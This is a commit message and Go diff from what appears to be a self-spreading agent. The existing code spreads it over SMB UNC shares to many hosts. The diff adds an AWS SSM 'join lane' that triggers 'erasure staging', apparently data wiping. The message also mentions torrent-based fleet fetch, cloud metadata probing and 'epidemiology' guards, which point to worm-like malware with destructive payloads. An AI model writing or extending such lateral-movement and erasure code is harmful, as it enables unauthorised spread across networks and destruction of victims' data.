Extend agent tests for cloud fleet features and erasure lanes.

Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.

agent/deploy/discover_join.go

@@ -240,6 +240,14 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
 		}
 		msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
 		return msg, nil
+	case "ssm_document":
+		if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
+			return "", fmt.Errorf("join lane ssm_document requires erasure_plan")
+		}
+		if !config.ErasureLanesEnabled(cfg) {
+			return "", fmt.Errorf("join lane ssm_document requires erasure_lanes_enabled")
+		}
+		return RunErasureStaging(cfg, *plan.ErasurePlan)
 	default:
 		return "", fmt.Errorf("unsupported join lane %q", lane)
 	}